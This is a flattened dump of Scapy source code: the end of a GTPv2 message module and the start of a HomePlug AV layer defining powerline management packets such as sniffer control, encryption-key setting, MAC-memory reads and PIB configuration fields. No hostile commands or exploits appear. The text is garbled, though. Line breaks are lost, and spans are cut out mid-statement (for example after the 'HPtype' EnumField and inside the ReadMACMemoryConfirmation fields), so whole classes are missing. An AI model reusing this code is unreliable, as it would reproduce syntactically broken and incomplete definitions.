GTPV2ContextResponse(GTPV2Command): name = "GTPv2 Context Response" def answers(self, other): return isinstance(other, GTPV2ContextRequest) class GTPV2ContextAcknowledge(GTPV2Command): name = "GTPv2 Context Acknowledge" class GTPV2CreateIndirectDataForwardingTunnelRequest(GTPV2Command): name = "GTPv2 Create Indirect Data Forwarding Tunnel Request" class GTPV2CreateIndirectDataForwardingTunnelResponse(GTPV2Command): name = "GTPv2 Create Indirect Data Forwarding Tunnel Response" def answers(self, other): return isinstance( other, GTPV2CreateIndirectDataForwardingTunnelRequest ) class GTPV2DeleteIndirectDataForwardingTunnelRequest(GTPV2Command): name = "GTPv2 Delete Indirect Data Forwarding Tunnel Request" class GTPV2DeleteIndirectDataForwardingTunnelResponse(GTPV2Command): name = "GTPv2 Delete Indirect Data Forwarding Tunnel Response" def answers(self, other): return isinstance( other, GTPV2DeleteIndirectDataForwardingTunnelRequest ) class GTPV2ReleaseBearerRequest(GTPV2Command): name = "GTPv2 Release Bearer Request" class GTPV2ReleaseBearerResponse(GTPV2Command): name = "GTPv2 Release Bearer Response" def answers(self, other): return isinstance(other, GTPV2ReleaseBearerRequest) class GTPV2DownlinkDataNotif(GTPV2Command): name = "GTPv2 Download Data Notification" class GTPV2DownlinkDataNotifAck(GTPV2Command): name = "GTPv2 Download Data Notification Acknowledgment" bind_layers(GTPHeader, GTPV2EchoRequest, gtp_type=1, T=0) bind_layers(GTPHeader, GTPV2EchoResponse, gtp_type=2, T=0) bind_layers(GTPHeader, GTPV2CreateSessionRequest, gtp_type=32) bind_layers(GTPHeader, GTPV2CreateSessionResponse, gtp_type=33) bind_layers(GTPHeader, GTPV2ModifyBearerRequest, gtp_type=34) bind_layers(GTPHeader, GTPV2ModifyBearerResponse, gtp_type=35) bind_layers(GTPHeader, GTPV2DeleteSessionRequest, gtp_type=36) bind_layers(GTPHeader, GTPV2DeleteSessionResponse, gtp_type=37) bind_layers(GTPHeader, GTPV2ModifyBearerCommand, gtp_type=64) bind_layers(GTPHeader, GTPV2ModifyBearerFailureIndication, gtp_type=65) bind_layers(GTPHeader, GTPV2DeleteBearerCommand, gtp_type=66) bind_layers(GTPHeader, GTPV2DeleteBearerFailureIndication, gtp_type=67) bind_layers(GTPHeader, GTPV2BearerResourceCommand, gtp_type=68) bind_layers(GTPHeader, GTPV2BearerResourceFailureIndication, gtp_type=69) bind_layers(GTPHeader, GTPV2DownlinkDataNotifFailureIndication, gtp_type=70) bind_layers(GTPHeader, GTPV2CreateBearerRequest, gtp_type=95) bind_layers(GTPHeader, GTPV2CreateBearerResponse, gtp_type=96) bind_layers(GTPHeader, GTPV2UpdateBearerRequest, gtp_type=97) bind_layers(GTPHeader, GTPV2UpdateBearerResponse, gtp_type=98) bind_layers(GTPHeader, GTPV2DeleteBearerRequest, gtp_type=99) bind_layers(GTPHeader, GTPV2DeleteBearerResponse, gtp_type=100) bind_layers(GTPHeader, GTPV2ContextRequest, gtp_type=130) bind_layers(GTPHeader, GTPV2ContextResponse, gtp_type=131) bind_layers(GTPHeader, GTPV2ContextAcknowledge, gtp_type=132) bind_layers(GTPHeader, GTPV2SuspendNotification, gtp_type=162) bind_layers(GTPHeader, GTPV2SuspendAcknowledge, gtp_type=163) bind_layers(GTPHeader, GTPV2ResumeNotification, gtp_type=164) bind_layers(GTPHeader, GTPV2ResumeAcknowledge, gtp_type=165) bind_layers( GTPHeader, GTPV2CreateIndirectDataForwardingTunnelRequest, gtp_type=166) bind_layers( GTPHeader, GTPV2CreateIndirectDataForwardingTunnelResponse, gtp_type=167) bind_layers( GTPHeader, GTPV2DeleteIndirectDataForwardingTunnelRequest, gtp_type=168) bind_layers( GTPHeader, GTPV2DeleteIndirectDataForwardingTunnelResponse, gtp_type=169) bind_layers(GTPHeader, GTPV2ReleaseBearerRequest, gtp_type=170) bind_layers(GTPHeader, GTPV2ReleaseBearerResponse, gtp_type=171) bind_layers(GTPHeader, GTPV2DownlinkDataNotif, gtp_type=176) bind_layers(GTPHeader, GTPV2DownlinkDataNotifAck, gtp_type=177) scapy-2.4.4/scapy/contrib/homeplugav.py000066400000000000000000002244701372370053500201560ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = HomePlugAV Layer # scapy.contrib.status = loads from __future__ import absolute_import import struct from scapy.packet import Packet, bind_layers from scapy.fields import BitField, ByteEnumField, ByteField, \ ConditionalField, EnumField, FieldLenField, IntField, LEIntField, \ LELongField, LEShortField, MACField, PacketListField, ShortField, \ StrFixedLenField, StrLenField, X3BytesField, XByteField, XIntField, \ XLongField, XShortField, LEShortEnumField from scapy.layers.l2 import Ether from scapy.modules.six.moves import range """ Copyright (C) HomePlugAV Layer for Scapy by FlUxIuS (Sebastien Dudek) """ """ HomePlugAV Management Message Type Key (type value) : Description """ HPAVTypeList = {0xA000: "'Get Device/sw version Request'", 0xA001: "'Get Device/sw version Confirmation'", 0xA008: "'Read MAC Memory Request'", 0xA009: "'Read MAC Memory Confirmation'", 0xA00C: "'Start MAC Request'", 0xA00D: "'Start MAC Confirmation'", 0xA010: "'Get NVM Parameters Request'", 0xA011: "'Get NVM Parameters Confirmation'", 0xA01C: "'Reset Device Request'", 0xA01D: "'Reset Device Confirmation'", 0xA020: "'Write Module Data Request'", 0xA024: "'Read Module Data Request'", 0xA025: "'Read Module Data Confirmation'", 0xA028: "'Write Module Data to NVM Request'", 0xA029: "'Write Module Data to NVM Confirmation'", 0xA034: "'Sniffer Request'", 0xA035: "'Sniffer Confirmation'", 0xA036: "'Sniffer Indicates'", 0xA038: "'Network Information Request'", 0xA039: "'Network Information Confirmation'", 0xA048: "'Loopback Request'", 0xA049: "'Loopback Request Confirmation'", 0xA050: "'Set Encryption Key Request'", 0xA051: "'Set Encryption Key Request Confirmation'", 0xA058: "'Read Configuration Block Request'", 0xA059: "'Read Configuration Block Confirmation'", 0xA062: "'Embedded Host Action Required Indication'"} HPAVversionList = {0x00: "1.0", 0x01: "1.1"} HPAVDeviceIDList = {0x00: "Unknown", 0x01: "'INT6000'", 0x02: "'INT6300'", 0x03: "'INT6400'", 0x04: "'AR7400'", 0x05: "'AR6405'", 0x20: "'QCA7450/QCA7420'", 0x21: "'QCA6410/QCA6411'", 0x22: "'QCA7000'"} StationRole = {0x00: "'Station'", 0x01: "'Proxy coordinator'", 0x02: "'Central coordinator'"} StatusCodes = {0x00: "'Success'", 0x10: "'Invalid Address'", 0x14: "'Invalid Length'"} DefaultVendor = "Qualcomm" ######################################################################### # Qualcomm Vendor Specific Management Message Types; # # from https://github.com/qca/open-plc-utils/blob/master/mme/qualcomm.h # ######################################################################### # Commented commands are already in HPAVTypeList, the other have to be implemted # noqa: E501 QualcommTypeList = { # 0xA000 : "VS_SW_VER", 0xA004: "VS_WR_MEM", # 0xA008 : "VS_RD_MEM", # 0xA00C : "VS_ST_MAC", # 0xA010 : "VS_GET_NVM", 0xA014: "VS_RSVD_1", 0xA018: "VS_RSVD_2", # 0xA01C : "VS_RS_DEV", # 0xA020 : "VS_WR_MOD", # 0xA024 : "VS_RD_MOD", # 0xA028 : "VS_MOD_NVM", 0xA02C: "VS_WD_RPT", 0xA030: "VS_LNK_STATS", # 0xA034 : "VS_SNIFFER", # 0xA038 : "VS_NW_INFO", 0xA03C: "VS_RSVD_3", 0xA040: "VS_CP_RPT", 0xA044: "VS_ARPC", # 0xA050 : "VS_SET_KEY", 0xA054: "VS_MFG_STRING", # 0xA058 : "VS_RD_CBLOCK", 0xA05C: "VS_SET_SDRAM", 0xA060: "VS_HOST_ACTION", 0xA068: "VS_OP_ATTRIBUTES", 0xA06C: "VS_ENET_SETTINGS", 0xA070: "VS_TONE_MAP_CHAR", 0xA074: "VS_NW_INFO_STATS", 0xA078: "VS_SLAVE_MEM", 0xA07C: "VS_FAC_DEFAULTS", 0xA07D: "VS_FAC_DEFAULTS_CONFIRM", 0xA084: "VS_MULTICAST_INFO", 0xA088: "VS_CLASSIFICATION", 0xA090: "VS_RX_TONE_MAP_CHAR", 0xA094: "VS_SET_LED_BEHAVIOR", 0xA098: "VS_WRITE_AND_EXECUTE_APPLET", 0xA09C: "VS_MDIO_COMMAND", 0xA0A0: "VS_SLAVE_REG", 0xA0A4: "VS_BANDWIDTH_LIMITING", 0xA0A8: "VS_SNID_OPERATION", 0xA0AC: "VS_NN_MITIGATE", 0xA0B0: "VS_MODULE_OPERATION", 0xA0B4: "VS_DIAG_NETWORK_PROBE", 0xA0B8: "VS_PL_LINK_STATUS", 0xA0BC: "VS_GPIO_STATE_CHANGE", 0xA0C0: "VS_CONN_ADD", 0xA0C4: "VS_CONN_MOD", 0xA0C8: "VS_CONN_REL", 0xA0CC: "VS_CONN_INFO", 0xA0D0: "VS_MULTIPORT_LNK_STA", 0xA0DC: "VS_EM_ID_TABLE", 0xA0E0: "VS_STANDBY", 0xA0E4: "VS_SLEEPSCHEDULE", 0xA0E8: "VS_SLEEPSCHEDULE_NOTIFICATION", 0xA0F0: "VS_MICROCONTROLLER_DIAG", 0xA0F8: "VS_GET_PROPERTY", 0xA100: "VS_SET_PROPERTY", 0xA104: "VS_PHYSWITCH_MDIO", 0xA10C: "VS_SELFTEST_ONETIME_CONFIG", 0xA110: "VS_SELFTEST_RESULTS", 0xA114: "VS_MDU_TRAFFIC_STATS", 0xA118: "VS_FORWARD_CONFIG", 0xA200: "VS_HYBRID_INFO"} # END OF Qualcomm commands # EofPadList = [0xA000, 0xA038] # TODO: The complete list of Padding can help to improve the condition in VendorMME Class # noqa: E501 def FragmentCond(pkt): """ A fragmentation field condition TODO: To complete """ return pkt.version == 0x01 class MACManagementHeader(Packet): name = "MACManagementHeader " if DefaultVendor == "Qualcomm": HPAVTypeList.update(QualcommTypeList) fields_desc = [ByteEnumField("version", 0, HPAVversionList), EnumField("HPtype", 0xA000, HPAVTypeList, " have fun! """ name = "NetworkInfoConfirmation" fields_desc = [StrFixedLenField("reserved_n1", b"\x00\x00\x3a\x00\x00", 5), XByteField("LogicalNetworksNumber", 0x01), PacketListField("NetworksInfos", "", NetworkInfoV11, length_from=lambda pkt: pkt.LogicalNetworksNumber * 26), # noqa: E501 XByteField("StationsNumber", 0x01), StrFixedLenField("reserverd_s1", b"\x00\x00\x00\x00\x00", 5), # noqa: E501 PacketListField("StationsInfos", "", StationInfoV11, length_from=lambda pkt: pkt.StationsNumber * 23)] # noqa: E501 # Description of Embedded Host Action Required Indice ActionsList = {0x02: "'PIB Update Ready'", 0x04: "'Loader (Bootloader)'"} class HostActionRequired(Packet): """ Embedded Host Action Required Indice """ name = "HostActionRequired" fields_desc = [ByteEnumField("ActionRequired", 0x02, ActionsList)] class LoopbackRequest(Packet): name = "LoopbackRequest" fields_desc = [ByteField("Duration", 0x01), ByteField("reserved_l1", 0x01), ShortField("LRlength", 0x0000)] # TODO: Test all possibles data to complete it class LoopbackConfirmation(Packet): name = "LoopbackConfirmation" fields_desc = [ByteEnumField("Status", 0x0, StatusCodes), ByteField("Duration", 0x01), ShortField("LRlength", 0x0000)] ################################################################ # Encryption Key Packets ################################################################ class SetEncryptionKeyRequest(Packet): name = "SetEncryptionKeyRequest" fields_desc = [XByteField("EKS", 0x00), StrFixedLenField("NMK", b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # noqa: E501 16), XByteField("PayloadEncKeySelect", 0x00), MACField("DestinationMAC", "ff:ff:ff:ff:ff:ff"), StrFixedLenField("DAK", b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # noqa: E501 16)] SetEncKey_Status = {0x00: "Success", 0x10: "Invalid EKS", 0x11: "Invalid PKS"} class SetEncryptionKeyConfirmation(Packet): name = "SetEncryptionKeyConfirmation" fields_desc = [ByteEnumField("Status", 0x0, SetEncKey_Status)] ################################################################ # Default config Packet ################################################################ class QUAResetFactoryConfirm(Packet): name = "QUAResetFactoryConfirm" fields_desc = [ByteEnumField("Status", 0x0, StatusCodes)] # TODO : Probably a Status bytefield? # noqa: E501 ###################################################################### # NVM Parameters Packets ###################################################################### class GetNVMParametersRequest(Packet): name = "Get NVM Parameters Request" fields_desc = [] class GetNVMParametersConfirmation(Packet): name = "Get NVM Parameters Confirmation" fields_desc = [ByteEnumField("Status", 0x0, StatusCodes), LEIntField("NVMType", 0x00000013), LEIntField("NVMPageSize", 0x00000100), LEIntField("NVMBlockSize", 0x00010000), LEIntField("NVMMemorySize", 0x00100000)] ###################################################################### # Sniffer Packets ###################################################################### SnifferControlList = {0x0: "'Disabled'", 0x1: "'Enabled'"} SnifferTypeCodes = {0x00: "'Regular'"} class SnifferRequest(Packet): name = "SnifferRequest" fields_desc = [ByteEnumField("SnifferControl", 0x0, SnifferControlList)] SnifferCodes = {0x00: "'Success'", 0x10: "'Invalid Control'"} class SnifferConfirmation(Packet): name = "SnifferConfirmation" fields_desc = [ByteEnumField("Status", 0x0, StatusCodes)] DirectionCodes = {0x00: "'Tx'", 0x01: "'Rx'"} ANCodes = {0x00: "'In-home'", 0x01: "'Access'"} class SnifferIndicate(Packet): # TODO: Some bitfield have been regrouped for the moment => need more work on it # noqa: E501 name = "SnifferIndicate" fields_desc = [ByteEnumField("SnifferType", 0x0, SnifferTypeCodes), ByteEnumField("Direction", 0x0, DirectionCodes), LELongField("SystemTime", 0x0), LEIntField("BeaconTime", 0x0), XByteField("ShortNetworkID", 0x0), ByteField("SourceTermEqID", 0), ByteField("DestTermEqID", 0), ByteField("LinkID", 0), XByteField("PayloadEncrKeySelect", 0x0f), ByteField("PendingPHYblock", 0), ByteField("BitLoadingEstim", 0), BitField("ToneMapIndex", 0, size=5), BitField("NumberofSymbols", 0, size=2), BitField("PHYblockSize", 0, size=1), XShortField("FrameLength", 0x0000), XByteField("ReversegrandLength", 0x0), BitField("RequestSACKtrans", 0, size=1), BitField("DataMACstreamCMD", 0, size=3), BitField("ManNACFrameStreamCMD", 0, size=3), BitField("reserved_1", 0, size=6), BitField("MultinetBroadcast", 0, size=1), BitField("DifferentCPPHYclock", 0, size=1), BitField("Multicast", 0, size=1), X3BytesField("FrameControlCheckSeq", 0x000000), XByteField("ShortNetworkID_", 0x0), IntField("BeaconTimestamp", 0), XShortField("BeaconTransOffset_0", 0x0000), XShortField("BeaconTransOffset_1", 0x0000), XShortField("BeaconTransOffset_2", 0x0000), XShortField("BeaconTransOffset_3", 0x0000), X3BytesField("FrameContrchkSeq", 0x000000)] ###################################################################### # Read MAC Memory ##################################################################### class ReadMACMemoryRequest(Packet): name = "ReadMACMemoryRequest" fields_desc = [LEIntField("Address", 0x00000000), LEIntField("Length", 0x00000400), ] ReadMACStatus = {0x00: "Success", 0x10: "Invalid Address", 0x14: "Invalid Length"} class ReadMACMemoryConfirmation(Packet): name = "ReadMACMemoryConfirmation" fields_desc = [ByteEnumField("Status", 0x00, ReadMACStatus), LEIntField("Address", 0), FieldLenField("MACLen", None, length_of="MACData", fmt="= pkt.__offset and 0x2 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("reserved_1", 0x0000), lambda pkt:(0x2 >= pkt.__offset and 0x4 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("PIBLength", 0x0000), lambda pkt:(0x4 >= pkt.__offset and 0x6 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("reserved_2", 0x0000), lambda pkt:(0x6 >= pkt.__offset and 0x8 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("checksumPIB", None), lambda pkt:(0x8 >= pkt.__offset and 0xC <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(MACField("PIBMACAddr", "00:00:00:00:00:00"), lambda pkt:(0xC >= pkt.__offset and 0x12 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("DAK", b"\x00" * 16, 16), lambda pkt:(0x12 >= pkt.__offset and 0x22 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("reserved_3", 0x0000), lambda pkt:(0x22 >= pkt.__offset and 0x24 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("ManufactorID", b"\x00" * 64, 64), lambda pkt:(0x24 >= pkt.__offset and 0x64 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("NMK", b"\x00" * 16, 16), lambda pkt:(0x64 >= pkt.__offset and 0x74 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("UserID", b"\x00" * 64, 64), lambda pkt:(0x74 >= pkt.__offset and 0xB4 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("AVLN_ID", b"\x00" * 64, 64), lambda pkt:(0xB4 >= pkt.__offset and 0xF4 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("CCoSelection", 0x00), lambda pkt:(0xF4 >= pkt.__offset and 0xF5 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("CoExistSelection", 0x00), lambda pkt:(0xF5 >= pkt.__offset and 0xF6 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("PLFreqSelection", 0x00), lambda pkt:(0xF6 >= pkt.__offset and 0xF7 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("H3CDowngradeShld", 0x00), lambda pkt:(0xF7 >= pkt.__offset and 0xF8 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("PreferredNID", b"\x00" * 7, 7), lambda pkt:(0xF8 >= pkt.__offset and 0xFF <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("AutoFWUpgradeable", 0x00), lambda pkt:(0xFF >= pkt.__offset and 0x100 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("MDUConfiguration", 0x00), lambda pkt:(0x100 >= pkt.__offset and 0x101 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("MDURole", 0x00), lambda pkt:(0x101 >= pkt.__offset and 0x102 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("SnifferEnabled", 0x00), lambda pkt:(0x102 >= pkt.__offset and 0x103 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(MACField("SnifferMACAddrRetrn", "00:00:00:00:00:00"), lambda pkt:(0x103 >= pkt.__offset and 0x109 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("WireTapEnable", 0x00), lambda pkt:(0x109 >= pkt.__offset and 0x10A <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("reserved_4", 0x0000), lambda pkt:(0x10A >= pkt.__offset and 0x10C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("StaticNetworkEnabled", 0x00), lambda pkt:(0x10C >= pkt.__offset and 0x10D <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("LD_TEI", 0x00), lambda pkt:(0x10D >= pkt.__offset and 0x10E <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(MACField("CCo_MACAdd", "00:00:00:00:00:00"), lambda pkt:(0x10E >= pkt.__offset and 0x114 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("SNID", 0x00), lambda pkt:(0x114 >= pkt.__offset and 0x115 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("NumOfPeerNodes", 0x00), lambda pkt:(0x115 >= pkt.__offset and 0x116 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(PacketListField("PeerNodes", "", PeerNode, length_from=lambda x: 56), # noqa: E501 lambda pkt:(0x116 >= pkt.__offset and 0x11C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("reserved_5", b"\x00" * 62, 62), lambda pkt:(0x146 >= pkt.__offset and 0x14e <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("OverideModeDefaults", 0x00), lambda pkt:(0x18C >= pkt.__offset and 0x18D <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("DisableFlowControl", 0x00), lambda pkt:(0x18D >= pkt.__offset and 0x18E <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("AdvertisementCapabilities", 0x00), lambda pkt:(0x18E >= pkt.__offset and 0x18F <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("OverrideMeteringDefaults", 0x00), lambda pkt:(0x18F >= pkt.__offset and 0x190 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("MaxFramesPerSec", 0), lambda pkt:(0x190 >= pkt.__offset and 0x194 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("DisableAutoNegotiation", 0x00), lambda pkt:(0x194 >= pkt.__offset and 0x195 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("EnetSpeedSetting", 0x00), lambda pkt:(0x195 >= pkt.__offset and 0x196 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("EnetDuplexSetting", 0x00), lambda pkt:(0x196 >= pkt.__offset and 0x197 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("DisableTxFlowControl", 0x00), lambda pkt:(0x197 >= pkt.__offset and 0x198 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("DisableRxFlowControl", 0x00), lambda pkt:(0x198 >= pkt.__offset and 0x199 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("PhyAddressSelection", 0x00), lambda pkt:(0x199 >= pkt.__offset and 0x19A <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("PhyAddressSelection_Data", 0x00), lambda pkt:(0x19A >= pkt.__offset and 0x19B <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("reserved_6", 0x00), lambda pkt:(0x19B >= pkt.__offset and 0x19C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("Force33MHz", 0x00), lambda pkt:(0x19C >= pkt.__offset and 0x19D <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("LinkStatusOnPowerline", 0x00), lambda pkt:(0x19D >= pkt.__offset and 0x19E <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("OverrideIdDefaults", 0x00), lambda pkt:(0x19E >= pkt.__offset and 0x19F <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("OverrideSubIdDefaults", 0x00), lambda pkt:(0x19F >= pkt.__offset and 0x1A0 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("PCIDeviceID", 0x0000), lambda pkt:(0x1A0 >= pkt.__offset and 0x1A2 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("PCIVendorID", 0x0000), lambda pkt:(0x1A2 >= pkt.__offset and 0x1A4 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("reserved_7", 0x00), lambda pkt:(0x1A4 >= pkt.__offset and 0x1A5 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("PCIClassCode", 0x00), lambda pkt:(0x1A5 >= pkt.__offset and 0x1A6 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("PCIClassCodeSubClass", 0x00), lambda pkt:(0x1A6 >= pkt.__offset and 0x1A7 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("PCIRevisionID", 0x00), lambda pkt:(0x1A7 >= pkt.__offset and 0x1A8 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("PCISubsystemID", 0x0000), lambda pkt:(0x1A8 >= pkt.__offset and 0x1AA <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("PCISybsystemVendorID", 0x0000), lambda pkt:(0x1AA >= pkt.__offset and 0x1AC <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("reserved_8", b"\x00" * 64, 64), lambda pkt:(0x1AC >= pkt.__offset and 0x1EC <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("OverrideIGMPDefaults", 0x00), lambda pkt:(0x1EC >= pkt.__offset and 0x1ED <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("ConfigFlags", 0x00), lambda pkt:(0x1ED >= pkt.__offset and 0x1EE <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("NumCpToSend_PLFrames", 0x00), lambda pkt:(0x1EE >= pkt.__offset and 0x1EF <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("reserved_9", b"\x00" * 29, 29), lambda pkt:(0x1EF >= pkt.__offset and 0x20C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("UniCastPriority", 0x00), lambda pkt:(0x20C >= pkt.__offset and 0x20D <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("McastPriority", 0x00), lambda pkt:(0x20D >= pkt.__offset and 0x20E <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("IGMPPriority", 0x00), lambda pkt:(0x20E >= pkt.__offset and 0x20F <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("AVStreamPriority", 0x00), lambda pkt:(0x20F >= pkt.__offset and 0x210 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("PriorityTTL_0", 0), lambda pkt:(0x210 >= pkt.__offset and 0x214 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("PriorityTTL_1", 0), lambda pkt:(0x214 >= pkt.__offset and 0x218 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("PriorityTTL_2", 0), lambda pkt:(0x218 >= pkt.__offset and 0x21C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("PriorityTTL_3", 0), lambda pkt:(0x21C >= pkt.__offset and 0x220 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("EnableVLANOver", 0x00), lambda pkt:(0x220 >= pkt.__offset and 0x221 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("EnableTOSOver", 0x00), lambda pkt:(0x221 >= pkt.__offset and 0x222 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("reserved_10", 0x0000), lambda pkt:(0x222 >= pkt.__offset and 0x224 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("VLANPrioTOSPrecMatrix", 0), lambda pkt:(0x224 >= pkt.__offset and 0x228 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("NumClassifierPriorityMaps", 0), lambda pkt:(0x228 >= pkt.__offset and 0x22C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("NumAutoConnections", 0), lambda pkt:(0x22C >= pkt.__offset and 0x230 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(PacketListField("ClassifierPriorityMaps", "", ClassifierPriorityMap, length_from=lambda x: 224), # noqa: E501 lambda pkt:(0x230 >= pkt.__offset and 0x244 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(PacketListField("AutoConnections", "", AutoConnection, length_from=lambda x: 1600), # noqa: E501 lambda pkt:(0x310 >= pkt.__offset and 0x36e <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("NumberOfConfigEntries", 0x00), lambda pkt:(0x950 >= pkt.__offset and 0x951 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(PacketListField("AggregateConfigEntries", "", AggregateConfigEntrie, length_from=lambda x: 16), # noqa: E501 lambda pkt:(0x951 >= pkt.__offset and 0x961 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(PacketListField("RSVD_CustomAggregationParameters", "", RSVD_CustomAggregationParameter, length_from=lambda x: 48), # noqa: E501 lambda pkt:(0x961 >= pkt.__offset and 0x991 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("reserved_11", b"\x00" * 123, 123), lambda pkt:(0x991 >= pkt.__offset and 0xA0C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("ToneMaskType", 0), lambda pkt:(0xA0C >= pkt.__offset and 0xA10 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("ToneMaskEnabled", 0), lambda pkt:(0xA10 >= pkt.__offset and 0xA14 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("StartTone", 0), lambda pkt:(0xA14 >= pkt.__offset and 0xA18 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("EndTone", 0), lambda pkt:(0xA18 >= pkt.__offset and 0xA1C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("reserved_12", b"\x00" * 12, 12), lambda pkt:(0xA1C >= pkt.__offset and 0xA28 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("PsdIndex", 0), lambda pkt:(0xA28 >= pkt.__offset and 0xA2C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("TxPrescalerType", 0), lambda pkt:(0xA2C >= pkt.__offset and 0xA30 <= pkt.__offset + pkt.__length)), # noqa: E501 